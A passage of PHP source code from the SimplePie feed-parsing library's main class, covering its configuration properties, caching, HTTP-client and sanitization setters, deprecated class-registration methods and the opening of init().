    /**
     * @var File Instance of File class to use as a feed
     * @see SimplePie::set_file()
     */
    private $file;

    /**
     * @var string|false Raw feed data
     * @see SimplePie::set_raw_data()
     * @access private
     */
    public $raw_data;

    /**
     * @var int Timeout for fetching remote files
     * @see SimplePie::set_timeout()
     * @access private
     */
    public $timeout = 10;

    /**
     * @var array<int, mixed> Custom curl options
     * @see SimplePie::set_curl_options()
     * @access private
     */
    public $curl_options = [];

    /**
     * @var bool Forces fsockopen() to be used for remote files instead
     * of cURL, even if a new enough version is installed
     * @see SimplePie::force_fsockopen()
     * @access private
     */
    public $force_fsockopen = false;

    /**
     * @var bool Force the given data/URL to be treated as a feed no matter what
     * it appears like
     * @see SimplePie::force_feed()
     * @access private
     */
    public $force_feed = false;

    /**
     * @var bool Enable/Disable Caching
     * @see SimplePie::enable_cache()
     * @access private
     */
    private $enable_cache = true;

    /**
     * @var DataCache|null
     * @see SimplePie::set_cache()
     */
    private $cache = null;

    /**
     * @var NameFilter
     * @see SimplePie::set_cache_namefilter()
     */
    private $cache_namefilter;

    /**
     * @var bool Force SimplePie to fallback to expired cache, if enabled,
     * when feed is unavailable.
     * @see SimplePie::force_cache_fallback()
     * @access private
     */
    public $force_cache_fallback = false;

    /**
     * @var int Cache duration (in seconds)
     * @see SimplePie::set_cache_duration()
     * @access private
     */
    public $cache_duration = 3600;

    /**
     * @var int Auto-discovery cache duration (in seconds)
     * @see SimplePie::set_autodiscovery_cache_duration()
     * @access private
     */
    public $autodiscovery_cache_duration = 604800; // 7 Days.

    /**
     * @var string Cache location (relative to executing script)
     * @see SimplePie::set_cache_location()
     * @access private
     */
    public $cache_location = './cache';

    /**
     * @var string&(callable(string): string) Function that creates the cache filename
     * @see SimplePie::set_cache_name_function()
     * @access private
     */
    public $cache_name_function = 'md5';

    /**
     * @var bool Reorder feed by date descending
     * @see SimplePie::enable_order_by_date()
     * @access private
     */
    public $order_by_date = true;

    /**
     * @var mixed Force input encoding to be set to the follow value
     * (false, or anything type-cast to false, disables this feature)
     * @see SimplePie::set_input_encoding()
     * @access private
     */
    public $input_encoding = false;

    /**
     * @var self::LOCATOR_* Feed Autodiscovery Level
     * @see SimplePie::set_autodiscovery_level()
     * @access private
     */
    public $autodiscovery = self::LOCATOR_ALL;

    /**
     * Class registry object
     *
     * @var Registry
     */
    public $registry;

    /**
     * @var int Maximum number of feeds to check with autodiscovery
     * @see SimplePie::set_max_checked_feeds()
     * @access private
     */
    public $max_checked_feeds = 10;

    /**
     * @var array<Response>|null All the feeds found during the autodiscovery process
     * @see SimplePie::get_all_discovered_feeds()
     * @access private
     */
    public $all_discovered_feeds = [];

    /**
     * @var string Web-accessible path to the handler_image.php file.
     * @see SimplePie::set_image_handler()
     * @access private
     */
    public $image_handler = '';

    /**
     * @var array<string> Stores the URLs when multiple feeds are being initialized.
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $multifeed_url = [];

    /**
     * @var array<int, static> Stores SimplePie objects when multiple feeds initialized.
     * @access private
     */
    public $multifeed_objects = [];

    /**
     * @var array<mixed> Stores the get_object_vars() array for use with multifeeds.
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $config_settings = null;

    /**
     * @var int Stores the number of items to return per-feed with multifeeds.
     * @see SimplePie::set_item_limit()
     * @access private
     */
    public $item_limit = 0;

    /**
     * @var bool Stores if last-modified and/or etag headers were sent with the
     * request when checking a feed.
     */
    public $check_modified = false;

    /**
     * @var array<string> Stores the default attributes to be stripped by strip_attributes().
     * @see SimplePie::strip_attributes()
     * @access private
     */
    public $strip_attributes = ['bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];

    /**
     * @var array<string, array<string, string>> Stores the default attributes to add to different tags by add_attributes().
     * @see SimplePie::add_attributes()
     * @access private
     */
    public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];

    /**
     * @var array<string> Stores the default tags to be stripped by strip_htmltags().
     * @see SimplePie::strip_htmltags()
     * @access private
     */
    public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];

    /**
     * @var string[]|string Stores the default attributes to be renamed by rename_attributes().
     * @see SimplePie::rename_attributes()
     * @access private
     */
    public $rename_attributes = [];

    /**
     * @var bool Should we throw exceptions, or use the old-style error property?
     * @access private
     */
    public $enable_exceptions = false;

    /**
     * @var Client|null
     */
    private $http_client = null;

    /** @var bool Whether HTTP client has been injected */
    private $http_client_injected = false;

    /**
     * The SimplePie class contains feed level data and options
     *
     * To use SimplePie, create the SimplePie object with no parameters. You can
     * then set configuration options using the provided methods. After setting
     * them, you must initialise the feed using $feed->init(). At that point the
     * object's methods and properties will be available to you.
     *
     * Previously, it was possible to pass in the feed URL along with cache
     * options directly into the constructor. This has been removed as of 1.3 as
     * it caused a lot of confusion.
     *
     * @since 1.0 Preview Release
     */
    public function __construct()
    {
        if (version_compare(PHP_VERSION, '7.2', '<')) {
            exit('Please upgrade to PHP 7.2 or newer.');
        }

        $this->set_useragent();

        $this->set_cache_namefilter(new CallableNameFilter($this->cache_name_function));

        // Other objects, instances created here so we can set options on them
        $this->sanitize = new Sanitize();
        $this->registry = new Registry();

        if (func_num_args() > 0) {
            trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_duration() directly.', \E_USER_DEPRECATED);

            $args = func_get_args();
            switch (count($args)) {
                case 3:
                    $this->set_cache_duration($args[2]);
                    // no break
                case 2:
                    $this->set_cache_location($args[1]);
                    // no break
                case 1:
                    $this->set_feed_url($args[0]);
                    $this->init();
            }
        }
    }

    /**
     * Used for converting object to a string
     * @return string
     */
    public function __toString()
    {
        return md5(serialize($this->data));
    }

    /**
     * Remove items that link back to this before destroying this object
     * @return void
     */
    public function __destruct()
    {
        if (!gc_enabled()) {
            if (!empty($this->data['items'])) {
                foreach ($this->data['items'] as $item) {
                    $item->__destruct();
                }
                unset($item, $this->data['items']);
            }
            if (!empty($this->data['ordered_items'])) {
                foreach ($this->data['ordered_items'] as $item) {
                    $item->__destruct();
                }
                unset($item, $this->data['ordered_items']);
            }
        }
    }

    /**
     * Force the given data/URL to be treated as a feed
     *
     * This tells SimplePie to ignore the content-type provided by the server.
     * Be careful when using this option, as it will also disable autodiscovery.
     *
     * @since 1.1
     * @param bool $enable Force the given data/URL to be treated as a feed
     * @return void
     */
    public function force_feed(bool $enable = false)
    {
        $this->force_feed = $enable;
    }

    /**
     * Set the URL of the feed you want to parse
     *
     * This allows you to enter the URL of the feed you want to parse, or the
     * website you want to try to use auto-discovery on. This takes priority
     * over any set raw data.
     *
     * Deprecated since 1.9.0: You can set multiple feeds to mash together by passing an array instead
     * of a string for the $url. Remember that with each additional feed comes
     * additional processing and resources.
     *
     * @since 1.0 Preview Release
     * @see set_raw_data()
     * @param string|string[] $url This is the URL (or (deprecated) array of URLs) that you want to parse.
     * @return void
     */
    public function set_feed_url($url)
    {
        $this->multifeed_url = [];
        if (is_array($url)) {
            trigger_error('Fetching multiple feeds with single SimplePie instance is deprecated since SimplePie 1.9.0, create one SimplePie instance per feed and use SimplePie::merge_items to get a single list of items.', \E_USER_DEPRECATED);
            foreach ($url as $value) {
                $this->multifeed_url[] = $this->registry->call(Misc::class, 'fix_protocol', [$value, 1]);
            }
        } else {
            $this->feed_url = $this->registry->call(Misc::class, 'fix_protocol', [$url, 1]);
            $this->permanent_url = $this->feed_url;
        }
    }

    /**
     * Set an instance of {@see File} to use as a feed
     *
     * @deprecated since SimplePie 1.9.0, use \SimplePie\SimplePie::set_http_client() or \SimplePie\SimplePie::set_raw_data() instead.
     *
     * @param File &$file
     * @return bool True on success, false on failure
     */
    public function set_file(File &$file)
    {
        // trigger_error(sprintf('SimplePie\SimplePie::set_file() is deprecated since SimplePie 1.9.0, please use "SimplePie\SimplePie::set_http_client()" or "SimplePie\SimplePie::set_raw_data()" instead.'), \E_USER_DEPRECATED);

        $this->feed_url = $file->get_final_requested_uri();
        $this->permanent_url = $this->feed_url;
        $this->file = &$file;

        return true;
    }

    /**
     * Set the raw XML data to parse
     *
     * Allows you to use a string of RSS/Atom data instead of a remote feed.
     *
     * If you have a feed available as a string in PHP, you can tell SimplePie
     * to parse that data string instead of a remote feed. Any set feed URL
     * takes precedence.
     *
     * @since 1.0 Beta 3
     * @param string $data RSS or Atom data as a string.
     * @see set_feed_url()
     * @return void
     */
    public function set_raw_data(string $data)
    {
        $this->raw_data = $data;
    }

    /**
     * Set a PSR-18 client and PSR-17 factories
     *
     * Allows you to use your own HTTP client implementations.
     * This will become required with SimplePie 2.0.0.
     */
    final public function set_http_client(
        ClientInterface $http_client,
        RequestFactoryInterface $request_factory,
        UriFactoryInterface $uri_factory
    ): void {
        $this->http_client = new Psr18Client($http_client, $request_factory, $uri_factory);
    }

    /**
     * Set the default timeout for fetching remote feeds
     *
     * This allows you to change the maximum time the feed's server to respond
     * and send the feed back.
     *
     * @since 1.0 Beta 3
     * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed.
     * @return void
     */
    public function set_timeout(int $timeout = 10)
    {
        if ($this->http_client_injected) {
            throw new SimplePieException(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure timeout in your HTTP client instead.',
                __METHOD__,
                self::class
            ));
        }

        $this->timeout = (int) $timeout;

        // Reset a possible existing FileClient,
        // so a new client with the changed value will be created
        if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
            $this->http_client = null;
        } elseif (is_object($this->http_client)) {
            // Trigger notice if a PSR-18 client was set
            trigger_error(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure the timeout in your HTTP client instead.',
                __METHOD__,
                get_class($this)
            ), \E_USER_NOTICE);
        }
    }

    /**
     * Set custom curl options
     *
     * This allows you to change default curl options
     *
     * @since 1.0 Beta 3
     * @param array<int, mixed> $curl_options Curl options to add to default settings
     * @return void
     */
    public function set_curl_options(array $curl_options = [])
    {
        if ($this->http_client_injected) {
            throw new SimplePieException(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure custom curl options in your HTTP client instead.',
                __METHOD__,
                self::class
            ));
        }

        $this->curl_options = $curl_options;

        // Reset a possible existing FileClient,
        // so a new client with the changed value will be created
        if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
            $this->http_client = null;
        } elseif (is_object($this->http_client)) {
            // Trigger notice if a PSR-18 client was set
            trigger_error(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure the curl options in your HTTP client instead.',
                __METHOD__,
                get_class($this)
            ), \E_USER_NOTICE);
        }
    }

    /**
     * Force SimplePie to use fsockopen() instead of cURL
     *
     * @since 1.0 Beta 3
     * @param bool $enable Force fsockopen() to be used
     * @return void
     */
    public function force_fsockopen(bool $enable = false)
    {
        if ($this->http_client_injected) {
            throw new SimplePieException(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure fsockopen in your HTTP client instead.',
                __METHOD__,
                self::class
            ));
        }

        $this->force_fsockopen = $enable;

        // Reset a possible existing FileClient,
        // so a new client with the changed value will be created
        if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
            $this->http_client = null;
        } elseif (is_object($this->http_client)) {
            // Trigger notice if a PSR-18 client was set
            trigger_error(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure fsockopen in your HTTP client instead.',
                __METHOD__,
                get_class($this)
            ), \E_USER_NOTICE);
        }
    }

    /**
     * Enable/disable caching in SimplePie.
     *
     * This option allows you to disable caching all-together in SimplePie.
     * However, disabling the cache can lead to longer load times.
     *
     * @since 1.0 Preview Release
     * @param bool $enable Enable caching
     * @return void
     */
    public function enable_cache(bool $enable = true)
    {
        $this->enable_cache = $enable;
    }

    /**
     * Set a PSR-16 implementation as cache
     *
     * @param CacheInterface $cache The PSR-16 cache implementation
     *
     * @return void
     */
    public function set_cache(CacheInterface $cache)
    {
        $this->cache = new Psr16($cache);
    }

    /**
     * SimplePie to continue to fall back to expired cache, if enabled, when
     * feed is unavailable.
     *
     * This tells SimplePie to ignore any file errors and fall back to cache
     * instead. This only works if caching is enabled and cached content
     * still exists.
     *
     * @deprecated since SimplePie 1.8.0, expired cache will not be used anymore.
     *
     * @param bool $enable Force use of cache on fail.
     * @return void
     */
    public function force_cache_fallback(bool $enable = false)
    {
        // @trigger_error(sprintf('SimplePie\SimplePie::force_cache_fallback() is deprecated since SimplePie 1.8.0, expired cache will not be used anymore.'), \E_USER_DEPRECATED);
        $this->force_cache_fallback = $enable;
    }

    /**
     * Set the length of time (in seconds) that the contents of a feed will be
     * cached
     *
     * @param int $seconds The feed content cache duration
     * @return void
     */
    public function set_cache_duration(int $seconds = 3600)
    {
        $this->cache_duration = $seconds;
    }

    /**
     * Set the length of time (in seconds) that the autodiscovered feed URL will
     * be cached
     *
     * @param int $seconds The autodiscovered feed URL cache duration.
     * @return void
     */
    public function set_autodiscovery_cache_duration(int $seconds = 604800)
    {
        $this->autodiscovery_cache_duration = $seconds;
    }

    /**
     * Set the file system location where the cached files should be stored
     *
     * @deprecated since SimplePie 1.8.0, use SimplePie::set_cache() instead.
     *
     * @param string $location The file system location.
     * @return void
     */
    public function set_cache_location(string $location = './cache')
    {
        // @trigger_error(sprintf('SimplePie\SimplePie::set_cache_location() is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()" instead.'), \E_USER_DEPRECATED);
        $this->cache_location = $location;
    }

    /**
     * Return the filename (i.e. hash, without path and without extension) of the file to cache a given URL.
     *
     * @param string $url The URL of the feed to be cached.
     * @return string A filename (i.e. hash, without path and without extension).
     */
    public function get_cache_filename(string $url)
    {
        // Append custom parameters to the URL to avoid cache pollution in case of multiple calls with different parameters.
        $url .= $this->force_feed ? '#force_feed' : '';
        $options = [];
        if ($this->timeout != 10) {
            $options[CURLOPT_TIMEOUT] = $this->timeout;
        }
        if ($this->useragent !== Misc::get_default_useragent()) {
            $options[CURLOPT_USERAGENT] = $this->useragent;
        }
        if (!empty($this->curl_options)) {
            foreach ($this->curl_options as $k => $v) {
                $options[$k] = $v;
            }
        }
        if (!empty($options)) {
            ksort($options);
            $url .= '#' . urlencode(var_export($options, true));
        }

        return $this->cache_namefilter->filter($url);
    }

    /**
     * Set whether feed items should be sorted into reverse chronological order
     *
     * @param bool $enable Sort as reverse chronological order.
     * @return void
     */
    public function enable_order_by_date(bool $enable = true)
    {
        $this->order_by_date = $enable;
    }

    /**
     * Set the character encoding used to parse the feed
     *
     * This overrides the encoding reported by the feed, however it will fall
     * back to the normal encoding detection if the override fails
     *
     * @param string|false $encoding Character encoding
     * @return void
     */
    public function set_input_encoding($encoding = false)
    {
        if ($encoding) {
            $this->input_encoding = (string) $encoding;
        } else {
            $this->input_encoding = false;
        }
    }

    /**
     * Set how much feed autodiscovery to do
     *
     * @see self::LOCATOR_NONE
     * @see self::LOCATOR_AUTODISCOVERY
     * @see self::LOCATOR_LOCAL_EXTENSION
     * @see self::LOCATOR_LOCAL_BODY
     * @see self::LOCATOR_REMOTE_EXTENSION
     * @see self::LOCATOR_REMOTE_BODY
     * @see self::LOCATOR_ALL
     * @param self::LOCATOR_* $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator)
     * @return void
     */
    public function set_autodiscovery_level(int $level = self::LOCATOR_ALL)
    {
        $this->autodiscovery = $level;
    }

    /**
     * Get the class registry
     *
     * Use this to override SimplePie's default classes
     *
     * @return Registry
     */
    public function &get_registry()
    {
        return $this->registry;
    }

    /**
     * Set which class SimplePie uses for caching
     *
     * @deprecated since SimplePie 1.3, use {@see set_cache()} instead
     *
     * @param class-string<Cache> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_cache_class(string $class = Cache::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::set_cache()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Cache::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for auto-discovery
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Locator> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_locator_class(string $class = Locator::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Locator::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for XML parsing
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Parser> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_parser_class(string $class = Parser::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Parser::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for remote file fetching
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<File> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_file_class(string $class = File::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(File::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for data sanitization
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Sanitize> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_sanitize_class(string $class = Sanitize::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Sanitize::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling feed items
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Item> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_item_class(string $class = Item::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Item::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling author data
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Author> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_author_class(string $class = Author::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Author::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling category data
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Category> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_category_class(string $class = Category::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Category::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for feed enclosures
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Enclosure> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_enclosure_class(string $class = Enclosure::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Enclosure::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:text>` captions
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Caption> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_caption_class(string $class = Caption::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Caption::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:copyright>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Copyright> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_copyright_class(string $class = Copyright::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Copyright::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:credit>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Credit> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_credit_class(string $class = Credit::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Credit::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:rating>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Rating> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_rating_class(string $class = Rating::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Rating::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:restriction>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Restriction> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_restriction_class(string $class = Restriction::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Restriction::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for content-type sniffing
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Sniffer> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_content_type_sniffer_class(string $class = Sniffer::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Sniffer::class, $class, true);
    }

    /**
     * Set which class SimplePie uses item sources
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Source> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_source_class(string $class = Source::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Source::class, $class, true);
    }

    /**
     * Set the user agent string
     *
     * @param string $ua New user agent string.
     * @return void
     */
    public function set_useragent(?string $ua = null)
    {
        if ($this->http_client_injected) {
            throw new SimplePieException(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure user agent string in your HTTP client instead.',
                __METHOD__,
                self::class
            ));
        }

        if ($ua === null) {
            $ua = Misc::get_default_useragent();
        }

        $this->useragent = (string) $ua;

        // Reset a possible existing FileClient,
        // so a new client with the changed value will be created
        if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
            $this->http_client = null;
        } elseif (is_object($this->http_client)) {
            // Trigger notice if a PSR-18 client was set
            trigger_error(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure the useragent in your HTTP client instead.',
                __METHOD__,
                get_class($this)
            ), \E_USER_NOTICE);
        }
    }

    /**
     * Set a namefilter to modify the cache filename with
     *
     * @param NameFilter $filter
     *
     * @return void
     */
    public function set_cache_namefilter(NameFilter $filter): void
    {
        $this->cache_namefilter = $filter;
    }

    /**
     * Set callback function to create cache filename with
     *
     * @deprecated since SimplePie 1.8.0, use {@see set_cache_namefilter()} instead
     *
     * @param (string&(callable(string): string))|null $function Callback function
     * @return void
     */
    public function set_cache_name_function(?string $function = null)
    {
        // trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache_namefilter()" instead.', __METHOD__), \E_USER_DEPRECATED);

        if ($function === null) {
            $function = 'md5';
        }

        $this->cache_name_function = $function;

        $this->set_cache_namefilter(new CallableNameFilter($this->cache_name_function));
    }

    /**
     * Set options to make SP as fast as possible
     *
     * Forgoes a substantial amount of data sanitization in favor of speed. This
     * turns SimplePie into a dumb parser of feeds.
     *
     * @param bool $set Whether to set them or not
     * @return void
     */
    public function set_stupidly_fast(bool $set = false)
    {
        if ($set) {
            $this->enable_order_by_date(false);
            $this->remove_div(false);
            $this->strip_comments(false);
            $this->strip_htmltags([]);
            $this->strip_attributes([]);
            $this->add_attributes([]);
            $this->set_image_handler(false);
            $this->set_https_domains([]);
        }
    }

    /**
     * Set maximum number of feeds to check with autodiscovery
     *
     * @param int $max Maximum number of feeds to check
     * @return void
     */
    public function set_max_checked_feeds(int $max = 10)
    {
        $this->max_checked_feeds = $max;
    }

    /**
     * @return void
     */
    public function remove_div(bool $enable = true)
    {
        $this->sanitize->remove_div($enable);
    }

    /**
     * @param string[]|string|false $tags Set a list of tags to strip, or set empty string to use default tags, or false to strip nothing.
     * @return void
     */
    public function strip_htmltags($tags = '', ?bool $encode = null)
    {
        if ($tags === '') {
            $tags = $this->strip_htmltags;
        }
        $this->sanitize->strip_htmltags($tags);
        if ($encode !== null) {
            $this->sanitize->encode_instead_of_strip($encode);
        }
    }

    /**
     * @return void
     */
    public function encode_instead_of_strip(bool $enable = true)
    {
        $this->sanitize->encode_instead_of_strip($enable);
    }

    /**
     * @param string[]|string $attribs
     * @return void
     */
    public function rename_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->rename_attributes;
        }
        $this->sanitize->rename_attributes($attribs);
    }

    /**
     * @param string[]|string $attribs
     * @return void
     */
    public function strip_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->strip_attributes;
        }
        $this->sanitize->strip_attributes($attribs);
    }

    /**
     * @param array<string, array<string, string>>|'' $attribs
     * @return void
     */
    public function add_attributes($attribs = '')
    {
        if ($attribs === '') {
            $attribs = $this->add_attributes;
        }
        $this->sanitize->add_attributes($attribs);
    }

    /**
     * Set the output encoding
     *
     * Allows you to override SimplePie's output to match that of your webpage.
     * This is useful for times when your webpages are not being served as
     * UTF-8. This setting will be obeyed by {@see handle_content_type()}, and
     * is similar to {@see set_input_encoding()}.
     *
     * It should be noted, however, that not all character encodings can support
     * all characters. If your page is being served as ISO-8859-1 and you try
     * to display a Japanese feed, you'll likely see garbled characters.
     * Because of this, it is highly recommended to ensure that your webpages
     * are served as UTF-8.
     *
     * The number of supported character encodings depends on whether your web
     * host supports {@link http://php.net/mbstring mbstring},
     * {@link http://php.net/iconv iconv}, or both. See
     * {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for
     * more information.
     *
     * @param string $encoding
     * @return void
     */
    public function set_output_encoding(string $encoding = 'UTF-8')
    {
        $this->sanitize->set_output_encoding($encoding);
    }

    /**
     * @return void
     */
    public function strip_comments(bool $strip = false)
    {
        $this->sanitize->strip_comments($strip);
    }

    /**
     * Set element/attribute key/value pairs of HTML attributes
     * containing URLs that need to be resolved relative to the feed
     *
     * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
     * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
     * |q|@cite
     *
     * @since 1.0
     * @param array<string, string|string[]>|null $element_attribute Element/attribute key/value pairs, null for default
     * @return void
     */
    public function set_url_replacements(?array $element_attribute = null)
    {
        $this->sanitize->set_url_replacements($element_attribute);
    }

    /**
     * Set the list of domains for which to force HTTPS.
     * @see Sanitize::set_https_domains()
     * @param array<string> $domains List of HTTPS domains. Example array('biz', 'example.com', 'example.org', 'www.example.net').
     * @return void
     */
    public function set_https_domains(array $domains = [])
    {
        $this->sanitize->set_https_domains($domains);
    }

    /**
     * Set the handler to enable the display of cached images.
     *
     * @param string|false $page Web-accessible path to the handler_image.php file.
     * @param string $qs The query string that the value should be passed to.
     * @return void
     */
    public function set_image_handler($page = false, string $qs = 'i')
    {
        if ($page !== false) {
            $this->sanitize->set_image_handler($page . '?' . $qs . '=');
        } else {
            $this->image_handler = '';
        }
    }

    /**
     * Set the limit for items returned per-feed with multifeeds
     *
     * @param int $limit The maximum number of items to return.
     * @return void
     */
    public function set_item_limit(int $limit = 0)
    {
        $this->item_limit = $limit;
    }

    /**
     * Enable throwing exceptions
     *
     * @param bool $enable Should we throw exceptions, or use the old-style error property?
     * @return void
     */
    public function enable_exceptions(bool $enable = true)
    {
        $this->enable_exceptions = $enable;
    }

    /**
     * Initialize the feed object
     *
     * This is what makes everything happen. Period. This is where all of the
     * configuration options get processed, feeds are fetched, cached, and
     * parsed, and all of that other good stuff.
     *
     * @return bool True if successful, false otherwise
     */
    public function init()
    {
        // Check absolute bare minimum requirements.
        if (!extension_loaded('xml') || !extension_loaded('pcre')) {
            $this->error = 'XML or PCRE extensions not loaded!';
            return false;
        }
